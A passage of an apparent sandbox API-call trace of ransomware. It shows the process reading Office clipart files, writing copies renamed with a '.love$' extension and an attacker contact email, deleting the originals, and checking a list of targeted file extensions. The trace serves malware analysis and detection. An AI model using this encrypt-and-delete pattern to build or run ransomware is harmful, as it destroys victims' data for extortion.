lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x4540, lpOverlapped=0x0) returned 1 [0273.699] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4550, lpOverlapped=0x0) returned 1 [0273.701] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.701] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.701] SetEndOfFile (hFile=0x574) returned 1 [0273.701] CloseHandle (hObject=0x574) returned 1 [0273.701] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.701] SetEndOfFile (hFile=0x42c) returned 1 [0273.712] CloseHandle (hObject=0x42c) returned 1 [0273.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0273.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.715] lstrlenW (lpString=".doc") returned 4 [0273.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.715] lstrlenW (lpString=".docx") returned 5 [0273.715] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.715] lstrlenW (lpString=".pdf") returned 4 [0273.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.715] lstrlenW (lpString=".xls") returned 4 [0273.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.715] lstrlenW (lpString=".xlsx") returned 5 [0273.715] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.715] lstrlenW (lpString=".ppt") returned 4 [0273.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.715] lstrlenW (lpString=".zip") returned 4 [0273.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.715] lstrlenW (lpString=".rar") returned 4 [0273.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.715] lstrlenW (lpString=".bz2") returned 4 [0273.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.716] lstrlenW (lpString=".7z") returned 3 [0273.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.716] lstrlenW (lpString=".dbf") returned 4 [0273.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.716] lstrlenW (lpString=".1cd") returned 4 [0273.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.716] lstrlenW (lpString=".jpg") returned 4 [0273.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.716] lstrlenW (lpString=".doc") returned 4 [0273.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.716] lstrlenW (lpString=".docx") returned 5 [0273.716] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.716] lstrlenW (lpString=".pdf") returned 4 [0273.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.716] lstrlenW (lpString=".xls") returned 4 [0273.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.716] lstrlenW (lpString=".xlsx") returned 5 [0273.716] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.716] lstrlenW (lpString=".ppt") returned 4 [0273.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.717] lstrlenW (lpString=".zip") returned 4 [0273.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.717] lstrlenW (lpString=".rar") returned 4 [0273.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.717] lstrlenW (lpString=".bz2") returned 4 [0273.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.717] lstrlenW (lpString=".7z") returned 3 [0273.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.717] lstrlenW (lpString=".dbf") returned 4 [0273.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.717] lstrlenW (lpString=".1cd") returned 4 [0273.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0273.718] lstrlenW (lpString=".jpg") returned 4 [0273.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.718] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.718] lstrlenW (lpString="J0105286.WMF") returned 12 [0273.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.719] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6568) returned 1 [0273.719] CloseHandle (hObject=0x42c) returned 1 [0273.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0273.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.720] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.720] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.722] GetLastError () returned 0x0 [0273.722] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x19a8, lpOverlapped=0x0) returned 1 [0273.725] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0273.727] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.727] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.727] SetEndOfFile (hFile=0x574) returned 1 [0273.727] CloseHandle (hObject=0x574) returned 1 [0273.727] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.727] SetEndOfFile (hFile=0x42c) returned 1 [0273.731] CloseHandle (hObject=0x42c) returned 1 [0273.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0273.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.734] lstrlenW (lpString=".doc") returned 4 [0273.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.734] lstrlenW (lpString=".docx") returned 5 [0273.734] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0273.734] lstrlenW (lpString=".pdf") returned 4 [0273.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.734] lstrlenW (lpString=".xls") returned 4 [0273.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.734] lstrlenW (lpString=".xlsx") returned 5 [0273.734] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0273.734] lstrlenW (lpString=".ppt") returned 4 [0273.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.734] lstrlenW (lpString=".zip") returned 4 [0273.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.734] lstrlenW (lpString=".rar") returned 4 [0273.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.734] lstrlenW (lpString=".bz2") returned 4 [0273.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.735] lstrlenW (lpString=".7z") returned 3 [0273.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.735] lstrlenW (lpString=".dbf") returned 4 [0273.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.735] lstrlenW (lpString=".1cd") returned 4 [0273.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.735] lstrlenW (lpString=".jpg") returned 4 [0273.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.735] lstrlenW (lpString=".doc") returned 4 [0273.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.735] lstrlenW (lpString=".docx") returned 5 [0273.735] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0273.735] lstrlenW (lpString=".pdf") returned 4 [0273.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.735] lstrlenW (lpString=".xls") returned 4 [0273.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.735] lstrlenW (lpString=".xlsx") returned 5 [0273.735] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0273.735] lstrlenW (lpString=".ppt") returned 4 [0273.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.735] lstrlenW (lpString=".zip") returned 4 [0273.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.736] lstrlenW (lpString=".rar") returned 4 [0273.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.736] lstrlenW (lpString=".bz2") returned 4 [0273.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.736] lstrlenW (lpString=".7z") returned 3 [0273.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.736] lstrlenW (lpString=".dbf") returned 4 [0273.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.736] lstrlenW (lpString=".1cd") returned 4 [0273.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0273.736] lstrlenW (lpString=".jpg") returned 4 [0273.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.736] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.736] lstrlenW (lpString="J0105292.WMF") returned 12 [0273.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.738] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=14868) returned 1 [0273.738] CloseHandle (hObject=0x42c) returned 1 [0273.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0273.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.739] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.739] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.741] GetLastError () returned 0x0 [0273.741] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0273.818] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0273.819] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.819] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.820] SetEndOfFile (hFile=0x574) returned 1 [0273.820] CloseHandle (hObject=0x574) returned 1 [0273.820] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.820] SetEndOfFile (hFile=0x42c) returned 1 [0273.824] CloseHandle (hObject=0x42c) returned 1 [0273.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0274.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.846] lstrlenW (lpString=".doc") returned 4 [0274.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.846] lstrlenW (lpString=".docx") returned 5 [0274.846] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0274.846] lstrlenW (lpString=".pdf") returned 4 [0274.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.846] lstrlenW (lpString=".xls") returned 4 [0274.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.846] lstrlenW (lpString=".xlsx") returned 5 [0274.846] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0274.846] lstrlenW (lpString=".ppt") returned 4 [0274.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.846] lstrlenW (lpString=".zip") returned 4 [0274.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.846] lstrlenW (lpString=".rar") returned 4 [0274.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.846] lstrlenW (lpString=".bz2") returned 4 [0274.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.846] lstrlenW (lpString=".7z") returned 3 [0274.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.847] lstrlenW (lpString=".dbf") returned 4 [0274.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.847] lstrlenW (lpString=".1cd") returned 4 [0274.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.847] lstrlenW (lpString=".jpg") returned 4 [0274.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.847] lstrlenW (lpString=".doc") returned 4 [0274.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.847] lstrlenW (lpString=".docx") returned 5 [0274.847] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0274.847] lstrlenW (lpString=".pdf") returned 4 [0274.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.847] lstrlenW (lpString=".xls") returned 4 [0274.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.847] lstrlenW (lpString=".xlsx") returned 5 [0274.847] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0274.847] lstrlenW (lpString=".ppt") returned 4 [0274.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.847] lstrlenW (lpString=".zip") returned 4 [0274.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.848] lstrlenW (lpString=".rar") returned 4 [0274.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString=".bz2") returned 4 [0274.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString=".7z") returned 3 [0274.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.848] lstrlenW (lpString=".dbf") returned 4 [0274.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.848] lstrlenW (lpString=".1cd") returned 4 [0274.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0274.848] lstrlenW (lpString=".jpg") returned 4 [0274.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.848] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0274.848] lstrlenW (lpString="J0105368.WMF") returned 12 [0274.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0275.088] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=12380) returned 1 [0275.088] CloseHandle (hObject=0x388) returned 1 [0275.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0275.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0275.509] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.509] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0275.511] GetLastError () returned 0x0 [0275.511] ReadFile (in: hFile=0x574, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x305c, lpOverlapped=0x0) returned 1 [0275.513] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3060, lpOverlapped=0x0) returned 1 [0275.515] ReadFile (in: hFile=0x574, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, 